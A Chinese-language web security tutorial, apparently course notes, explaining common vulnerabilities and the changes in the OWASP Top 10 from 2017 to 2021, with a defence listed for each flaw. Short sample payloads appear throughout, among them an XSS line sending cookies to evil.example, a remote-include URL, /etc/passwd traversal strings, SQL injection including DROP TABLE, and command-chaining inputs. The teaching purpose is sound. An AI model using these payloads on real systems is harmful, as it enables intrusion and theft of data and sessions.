Web 安全综述(下):常见漏洞与 OWASP Top 10
目录
本文是《Web 安全综述(上)》的下篇,根据深信服 SCSA-S 课程《Web 安全综述》第三、四课整理。上篇讲 Web 的起源、架构与安全发展,下篇进入具体漏洞,并梳理 OWASP Top 10 从 2017 到 2021 的变化。
引言:从整体认识到具体漏洞
上篇解决的是”看全局”的问题:Web 由哪些层组成,数据怎么流动,攻击面怎么迁移。这一篇解决”看具体”的问题:常见的八类 Web 漏洞分别是什么、怎么打、怎么防;以及业界最常被引用的风险清单——OWASP Top 10。
每个漏洞都按同一个模板讲:是什么 → 为什么会有 → 怎么利用 → 怎么防。理解了模板,遇到新漏洞也能自己套。
一、常见 Web 安全漏洞
1.1 信息泄露
信息泄露是指 Web 服务器或应用程序没有正确处理一些特殊请求,泄露了用户名、密码、源代码、服务器信息、配置信息等敏感内容。
三个主要原因:
- Web 服务器配置有问题,系统文件或配置文件暴露在互联网中;
- Web 服务器本身存在漏洞,输入特殊字符就能访问未授权文件或脚本源码;
- 网站程序编写有问题,对用户请求没有适当过滤,直接使用用户提交的数据。
常见载体:
| 载体 | 说明 |
|---|---|
robots.txt |
声明爬虫不应抓取的目录,反而暴露隐藏目录 |
| 目录列表 | 服务器启用了自动索引,目录内容可被直接列出 |
| 备份文件 | 管理员将 .rar、.zip、.tar.gz、.bak、.txt 等备份放在 Web 目录 |
.git / .svn / .hg |
版本控制元数据泄露,可用 GitHack、dvcs-ripper 还原源码 |
.DS_Store |
macOS 目录索引,可恢复文件名 |
WEB-INF/web.xml |
Java Web 的安全目录,含文件映射关系 |
| 错误信息 | 错误信息中包含表名、列名、路径和堆栈 |
| 硬编码 | 源码中的 API Key、IP、数据库账号密码 |
信息泄露通常不是最终目标,而是后续攻击的前置条件。获取源码后可以进行代码审计,查找硬编码密钥、未过滤参数和隐藏接口;获取目录结构后可以针对已知漏洞进行测试。很多渗透报告的第一条”高危”,就是从 .git 或备份文件开始的。
防御:部署时排除 .git、.svn、.DS_Store 和备份文件;关闭目录列表;错误页面统一化;敏感配置放环境变量或配置中心;备份文件放在 Web 根目录之外。
1.2 目录遍历:通过 ../ 访问网站根目录之外的文件
目录遍历(目录穿越)指攻击者利用 ../ 读取应用程序所在服务器上的任意文件,包括代码、数据、后端登录信息和操作系统敏感文件。课件对危害的判断很直接:能让任意用户访问系统敏感文件,继而危及整个服务器。
危险写法:
$file = $_GET['file'];readfile("/var/www/html/uploads/" . $file);传入 ../../../etc/passwd,路径将指向 uploads 之外:
/var/www/images/../../../etc/passwd ≡ /etc/passwd实际测试时 ../ 常被过滤,于是有各种变形:
| 变形 | 说明 |
|---|---|
%2e%2e%2f |
URL 编码后的 ../ |
%252e%252e%252f |
双重 URL 编码 |
..%2f、..%5c |
混合斜杠,Windows 下 \ 也有效 |
....// |
过滤替换后重新拼出 ../ |
注意区分两个概念:
- 目录列表:服务器把目录下的文件名列出来,是配置问题;
- 目录遍历:通过
../越过预期目录,是代码问题。
防御:
$base = realpath('/var/www/html/uploads');$target = realpath($base . '/' . $file);if ($base === false || $target === false || strpos($target, $base . DIRECTORY_SEPARATOR) !== 0) { exit('Invalid path');}用 realpath() 规范化后按目录分隔符校验边界,避免相似前缀目录误判为合法路径;能白名单就白名单;文件存储与 Web 根目录分离;进程以最小权限运行。
1.3 XSS:在受害者浏览器中执行脚本
跨站脚本攻击(XSS)指攻击者通过在 Web 页面中写入恶意脚本,造成用户在浏览页面时,控制用户浏览器进行操作的攻击方式。
关键词是在别人的浏览器里执行——XSS 攻击的是用户,不是服务器。
| 类型 | 数据流 | 特点 | 典型场景 |
|---|---|---|---|
| 反射型 | 请求参数 → 服务器 → 原样回显 | 需诱导点击,不持久 | 搜索结果页、错误提示页 |
| 存储型 | 恶意数据入库 → 其他用户访问时读出 | 持久化,危害最大,可成蠕虫 | 留言板、个人签名、评论区 |
| DOM 型 | 浏览器端 JS 直接读取可控数据并写入危险 API | 服务器可能完全不知情 | location.hash、innerHTML |
最小示例:
<!-- 反射型:搜索关键词被原样输出 -->https://target/search?q=<script>alert(document.cookie)</script>
<!-- 存储型:评论内容被存库后展示 --><img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
<!-- DOM 型:前端直接把 hash 写进 innerHTML -->https://target/#<img src=x onerror=alert(1)>危害包括盗取 Cookie/会话、XSS 蠕虫、会话劫持、钓鱼,以及配合 CSRF 执行管理员操作。
防御:按上下文(HTML 正文、属性、JS、CSS、URL)做输出编码;使用默认转义的框架;部署 CSP;会话 Cookie 加 HttpOnly;富文本用白名单清洗。输入校验有帮助,但不能替代输出编码。
1.4 SQL 注入:篡改数据库查询
SQL 注入指 Web 系统对数据库访问语句过滤不严,入侵者在合法参数位置传入特殊字符、命令,实现对后台数据库的入侵。
两种基本类型:
-- 数字型:参数没有引号包裹SELECT * FROM table WHERE id = 1
-- 字符型:参数被引号包裹SELECT * FROM table WHERE username = 'test'对应测试:
1 OR 1=1test' OR '1'='1常见手法:
| 类型 | 原理 | 典型 payload |
|---|---|---|
| UNION 注入 | 把原查询结果与攻击者查询合并 | 1 UNION SELECT 1,2,3-- |
| 报错注入 | 让数据库在报错信息里带出数据 | extractvalue()、updatexml() |
| 布尔盲注 | 根据页面”真/假”差异逐位猜解 | AND substr(database(),1,1)='a' |
| 时间盲注 | 根据响应时间差异判断 | AND IF(...,SLEEP(3),0) |
| 堆叠注入 | 一次执行多条语句(部分数据库支持) | 1; DROP TABLE users-- |
危害:数据库信息泄露、数据被篡改/删除、通过 INTO OUTFILE 写 WebShell,甚至以数据库为跳板攻击内网。
防御:
// 错误:字符串拼接$sql = "SELECT * FROM users WHERE name = '" . $_GET['name'] . "'";
// 正确:预处理 + 参数绑定$stmt = $pdo->prepare('SELECT * FROM users WHERE name = ?');$stmt->execute([$_GET['name']]);预编译/参数化查询是首选;数据库账号最小权限;关闭详细报错;WAF 兜底但不能替代代码修复;查询加 LIMIT 降低泄露量。
1.5 文件上传:上传可执行脚本
网站一般都有文件上传功能(文档、图片、头像、视频)。当上传代码没有严格校验后缀和类型时,就可以上传任意文件,甚至可执行的后门脚本。
上传本身不是漏洞,“上传之后能被当作脚本执行”才是。攻击者上传一个脚本文件,访问它,服务器就会执行里面的代码。这个脚本通常只有一行,核心逻辑是接收外部参数并当作代码执行,业内称为”一句话木马”。上传点 + 可执行目录,是实战中最常见的 GetShell 组合之一。
常见绕过思路:
| 校验方式 | 绕过手法 |
|---|---|
| 前端 JS 校验 | 抓包改包、禁用 JS |
Content-Type 校验 |
改成 image/jpeg |
| 后缀黑名单 | .php3、.phtml、.php5、大小写、双后缀 |
| 路径/文件名过滤 | 截断、特殊字符、::$DATA(Windows) |
| 只校验文件头 | 图片马:合法图片头 + 脚本代码,再配合文件包含执行 |
| 服务器解析漏洞 | IIS x.jpg/.php、Apache 多后缀、Nginx 配置不当 |
防御:白名单校验后缀;同时校验 MIME 和文件头;上传后重命名;上传目录禁止脚本执行;文件存储到 Web 根目录之外;图片做二次渲染;限制大小和数量。
1.6 命令执行:从”调用系统命令”到”接管服务器”
应用程序有时需要调用系统命令,而 PHP 的 system、exec、shell_exec、passthru、反引号等都可以执行系统命令。当参数可被用户控制时,攻击者就能把恶意命令拼接到正常命令中。
典型场景:
$ip = $_GET['ip'];system("ping -c 1 " . $ip);正常请求 ?ip=127.0.0.1,攻击者传 ?ip=127.0.0.1; id,实际执行:
ping -c 1 127.0.0.1; id常见拼接符:
| 符号 | 含义 |
|---|---|
; |
顺序执行,前一条失败也继续 |
| |
管道,把前一条输出作为后一条输入 |
|| |
前一条失败才执行后一条 |
&& |
前一条成功才执行后一条 |
`、$() |
命令替换,把结果嵌入 |
| 换行 | 等价于分号 |
危害:读写任意文件、反弹 Shell、横向移动、清理日志、留后门。若当前用户是 root,危害更大。
防御:能不用系统命令就不用;必须调用时用 escapeshellarg() / escapeshellcmd() 或参数数组;参数白名单;Web 进程低权限;disable_functions 禁用危险函数;容器/沙箱隔离。
1.7 文件包含:包含可控文件
开发人员会把重复使用的函数写到单个文件中,需要时直接调用,这个调用过程叫文件包含。所有脚本语言都提供该功能,但文件包含漏洞在 PHP 中居多,JSP、ASP、ASP.NET 中很少。
include('header.php');require('config.php');区别:include 出错只警告,脚本继续;require 出错是致命错误,脚本终止。
危险写法:
$page = $_GET['page'];include($page . '.php');| 类型 | 条件 | 示例 |
|---|---|---|
| 本地文件包含(LFI) | 只能包含服务器本地文件 | ?page=../../../../etc/passwd |
| 远程文件包含(RFI) | allow_url_include=On |
?page=http://evil.example/shell.txt |
常见利用手法:
- 读取敏感文件:
/etc/passwd、/proc/self/environ、应用配置、日志; - 包含日志 getshell:把 PHP 代码写进访问日志,再包含日志文件;
- 伪协议:
php://filter读源码、php://input执行 POST Body、data://、zip://、phar://; - 配合文件上传:上传图片马,再用包含执行。
读源码的经典 payload:
?page=php://filter/read=convert.base64-encode/resource=index.php防御:包含路径用白名单映射;allow_url_include=Off;open_basedir 限制目录;上传目录禁止执行且与包含目录分离;审计 include、require 的参数来源。
1.8 Web 中间件漏洞
Web 中间件介于操作系统和应用程序之间,屏蔽底层通讯、交互、连接的复杂性,以产品形式提供通用能力。常见中间件:IIS、Apache、Tomcat、Nginx、WebLogic、JBoss。
| 中间件 | 常见漏洞 |
|---|---|
| IIS | 解析漏洞、PUT 命令执行、PUT 文件上传、短文件名猜解 |
| Apache | 文件解析漏洞 |
| Tomcat | 任意写文件(CVE-2017-12615)、远程部署、任意文件读取/包含(CVE-2020-1938) |
| Nginx | 文件解析漏洞、目录穿越(配置不当) |
| WebLogic | 弱口令 + 远程部署、任意文件上传(CVE-2018-2894)、SSRF(CVE-2014-4210) |
| JBoss | 反序列化(CVE-2017-12149)、JMS 反序列化(CVE-2017-7504)、弱口令 + 远程部署 |
Tomcat Ghostcat(CVE-2020-1938):AJP 协议(默认 8009)存在缺陷,攻击者可读取 Web 应用目录下的任意文件,包括 WEB-INF/web.xml、源码和配置;如果应用有上传功能,还能进一步包含文件实现 RCE。影响 Tomcat 6.x、7.x < 7.0.100、8.x < 8.5.51、9.x < 9.0.31。修复:升级;不需要 AJP 就注释掉 Connector;必须使用时设置 secret、绑定 127.0.0.1。
中间件漏洞值得单独学,是因为它们影响面大、利用稳定、可造成严重后果。一个配置疏忽,可能使前面所有的代码安全措施失效。
1.9 漏洞组合利用:真实攻击不是单点
信息泄露(.git / 备份文件) ↓ 获取源码代码审计(发现未过滤参数) ↓SQL 注入(获取管理员密码) ↓ 登录后台文件上传(上传图片马) ↓文件包含(执行图片马) ↓命令执行(反弹 Shell) ↓提权 / 横向移动 / 持久化这条链给防守方的启示是:不需要在每一环都做到完美,但要在关键节点实施控制。源码不泄露,攻击者无法获得源码与目录信息;上传目录不可执行,图片马失效;文件包含白名单,图片马无法被包含;Web 进程低权限,即使 RCE 也拿不到 root;数据库最小权限,注入拿不到系统权限;出网限制和日志告警,能让反弹 Shell 和横向移动暴露。
这就是”纵深防御”的含义:不依赖单点防护,而是提高每一阶段的攻击成本。
二、OWASP Top 10:2017 → 2021
2.1 OWASP 是什么
OWASP(Open Web Application Security Project,开放式 Web 应用程序安全项目)是一个开源的、非盈利的全球性安全组织,在 Web 应用安全领域提供文章、方法论、文档、工具和技术,致力于应用软件的安全研究。
它的使命是:使应用软件更加安全,使企业和组织能够对应用安全风险做出更清晰的决策。
OWASP Top 10 列出了公认的最有威胁性的 Web 应用安全漏洞,总结并更新 Web 应用中最多见、最危险的十大风险。它不是”漏洞大全”,而是一份风险共识:用于指导开发、运维和安全团队确定优先级。
Top 10 是”意识文档”,不是”测试清单”。真正做评估时,还要结合业务场景、资产重要性和威胁模型。
2.2 2017 榜单
| 编号 | 风险 | 一句话 |
|---|---|---|
| A1 | 注入(Injection) | 不可信数据被当作命令/查询的一部分送进解析器 |
| A2 | 失效的身份认证 | 认证和会话管理被错误使用,攻击者可冒充他人 |
| A3 | 敏感数据泄露 | 传输、存储、浏览器交互中的数据没有加密 |
| A4 | XML 外部实体(XXE) | 解析 XML 时加载外部实体,导致文件读取、SSRF、DoS |
| A5 | 失效的访问控制 | 没有正确校验”这个用户能不能做这件事” |
| A6 | 安全配置错误 | 默认配置、残留功能、详细报错、缺少安全头 |
| A7 | 跨站脚本(XSS) | 不可信数据进入 HTML/JS 上下文并在浏览器执行 |
| A8 | 不安全的反序列化 | 反序列化不可信对象,可能导致 RCE |
| A9 | 使用含有已知漏洞的组件 | 库、框架、组件未及时更新 |
| A10 | 不足的日志记录和监控 | 攻击发生后发现不了、追不到、响应不了 |
2.3 2021 榜单
| 编号 | 风险 | 一句话 |
|---|---|---|
| A01 | 访问控制失效 | 越权访问成为第一风险 |
| A02 | 加密机制失效 | 敏感数据未加密或使用了弱算法 |
| A03 | 注入 | 包含 SQL、NoSQL、OS、LDAP 注入以及 XSS |
| A04 | 不安全的设计 | 设计阶段就没有考虑威胁,代码再规范也没用 |
| A05 | 安全配置错误 | 默认配置、云存储权限、错误信息、安全头 |
| A06 | 易受攻击和过时的组件 | 组件、依赖、供应链 |
| A07 | 身份识别与认证失败 | 弱口令、凭证填充、会话管理缺陷 |
| A08 | 软件和数据完整性故障 | 反序列化、CI/CD 供应链、未签名更新 |
| A09 | 安全日志和监控故障 | 日志不足、告警缺失、响应无效 |
| A10 | 服务器端请求伪造(SSRF) | 服务器被诱导去请求内网或云元数据 |
2.4 从 2017 到 2021:变了什么
| 2017 | 2021 | 说明 |
|---|---|---|
| A1 注入 | A03 注入 | 合并了 XSS,范围更大 |
| A2 失效的身份认证 | A07 身份识别与认证失败 | 更名,强调”识别” |
| A3 敏感数据泄露 | A02 加密机制失效 | 从”结果”转向”原因” |
| A4 XXE | A05 安全配置错误 | 不再单列,归入配置/解析器问题 |
| A5 失效的访问控制 | A01 访问控制失效 | 升至第一 |
| A6 安全配置错误 | A05 安全配置错误 | 保持 |
| A7 XSS | A03 注入 | 并入注入 |
| A8 不安全的反序列化 | A08 软件和数据完整性故障 | 扩展到供应链与更新完整性 |
| A9 已知漏洞组件 | A06 易受攻击和过时的组件 | 排名上升 |
| A10 日志与监控不足 | A09 安全日志和监控故障 | 保持 |
| — | A04 不安全的设计 | 新增 |
| — | A10 SSRF | 新增 |
五个关键信号:
- 访问控制超过注入,成为第一风险——说明”越权”在实际业务中太普遍;
- 新增”不安全的设计”——业界从”写错代码”转向”设计就有问题”;
- XSS 并入注入、XXE 并入配置错误——分类在收敛,强调根因而不是单个手法;
- 反序列化升级为”软件和数据完整性故障”——供应链和 CI/CD 成为新的风险领域;
- 新增 SSRF——云原生环境下,服务器”替攻击者发请求”的风险被正式承认。
2.5 2021 十大风险速览
| 2021 风险 | 核心问题 | 关键防御 |
|---|---|---|
| A01 访问控制失效 | 越权、IDOR、CORS 配置错误 | 默认拒绝、服务端校验、所有权模型、失败告警 |
| A02 加密机制失效 | 明文传输/存储、弱算法、密钥管理缺失 | 数据分类、全站 HTTPS、强算法、密钥轮换 |
| A03 注入 | SQL/NoSQL/OS/LDAP 注入、XSS | 参数化查询、上下文输出编码、白名单校验 |
| A04 不安全的设计 | 缺少威胁建模、业务逻辑缺陷 | 威胁建模、安全设计模式、滥用场景测试 |
| A05 安全配置错误 | 默认配置、开放云存储、详细报错 | 加固基线、最小化平台、安全头、移除默认账户 |
| A06 易受攻击组件 | 依赖过时、供应链投毒 | SBOM、依赖扫描、补丁管理、官方渠道 |
| A07 认证失败 | 弱口令、凭证填充、会话固定 | MFA、弱密码检查、限速、登录后更换会话 ID |
| A08 完整性故障 | 反序列化、未签名更新、CI/CD 污染 | 签名校验、可信仓库、类型约束、隔离运行 |
| A09 日志监控故障 | 日志缺失、告警无效、响应缺失 | 审计关键事件、集中日志、告警阈值、应急预案 |
| A10 SSRF | 服务器请求内网/云元数据 | URL 白名单、禁跳转、封禁内网段、网络分段 |
2.6 Top 10 的正确用法
Top 10 不是”逐条打勾”的清单,而是按风险分配精力的框架。比较实用的做法是把它映射到研发流程:
| 阶段 | 对应风险 | 具体动作 |
|---|---|---|
| 需求与设计 | A04 不安全的设计、A01 访问控制 | 威胁建模、权限模型 |
| 编码 | A03 注入、A02 加密、A08 完整性 | 安全编码规范、参数化、输出编码 |
| 依赖管理 | A06 已知漏洞组件 | SBOM、依赖扫描、补丁流程 |
| 配置与部署 | A05 配置错误、A02 加密 | 加固基线、HTTPS、最小化平台 |
| 测试 | 全部 | SAST、DAST、渗透测试、代码审计 |
| 运行 | A07 认证、A09 日志监控 | MFA、限速、SIEM、应急响应 |
再补一句:OWASP 还有 ASVS(应用安全验证标准)和 WSTG(测试指南)。前者定义验证要求,后者提供测试方法。Top 10 提供风险优先级,ASVS/WSTG 提供验证与测试依据。
三、小结
下篇的内容可以压缩成三句话:
- 常见漏洞都是”数据与语法相遇”的变体:SQL 注入、XSS、命令执行、文件包含、目录遍历,本质都是用户可控数据进入了不该进入的解释器。
- 单个漏洞影响有限,组合利用可形成完整攻击链:信息泄露 → 源码审计 → 注入/上传 → 包含/命令执行;防守要在关键节点实施控制。
- OWASP Top 10 的重点在”变化”:从 2017 到 2021,访问控制升至第一、新增不安全设计与 SSRF、XSS/XXE 被合并、反序列化扩展到供应链——风险正从”代码写错”转向”设计、架构与供应链”。
把上下篇合起来看:上篇建立整体认识,下篇分析具体漏洞;整体认识决定分析视角,具体漏洞决定测试入口。